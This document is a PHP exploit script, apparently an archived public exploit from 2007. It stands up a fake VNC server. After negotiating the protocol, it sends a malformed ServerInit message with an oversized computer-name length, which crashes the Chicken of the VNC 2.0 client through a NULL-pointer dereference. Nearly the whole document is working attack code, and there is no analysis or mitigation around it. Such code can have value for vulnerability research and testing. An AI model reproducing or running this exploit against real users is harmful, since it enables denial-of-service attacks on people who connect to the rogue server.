Chicken of the VNC 2.0 (NULL-pointer) Remote Denial of Service Exploit

<? $port = "5900"; $BadServerInit= "\x04\x00".                                     // fb-width "\x03\x00".                                     // fb-hight "\x20".                                         // bits per pixel "\x18".                                         // depth "\x00".                                         // big-endian flag "\x01".                                         // true-color flag "\x00\xff\x00\xff\x00\xff".  // r-g-b max "\x10\x08\x00".                          // r-g-b shift "\x00\x00\x00".                          // padding "\xff\xff\xff\xff".                      // computer-name size "DIE_PLZ";                                      // computer-name $ser = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); socket_set_option($ser,SOL_SOCKET,SO_REUSEADDR,1); socket_bind($ser,"0.0.0.0", $port); socket_listen($ser, 5); print "this fake vnc server will crash cotv2.0 (http://sourceforge.net/projects/cotvnc/) due to a NULL-pointer dereference 02-02-2007   poplix [@] papuasia.org listening on $port ...\n"; $cotv = socket_accept($ser); print "client connected\n"; socket_write($cotv, "RFB 00 3.008\n"); while($i=socket_read($cotv, 1024))        if(substr($i,0,6) == "RFB 00") break; print "protocol has been negotiated\n"; socket_write($cotv, "\x00\x00\x00\x01"); while($i=socket_read($cotv, 1024))        if(ord($i[0])==0 || ord($i[0])==1)break; print "sending expl...\n"; socket_write($cotv, $BadServerInit); socket_close($cotv); socket_close($ser); print "done\n"; ?>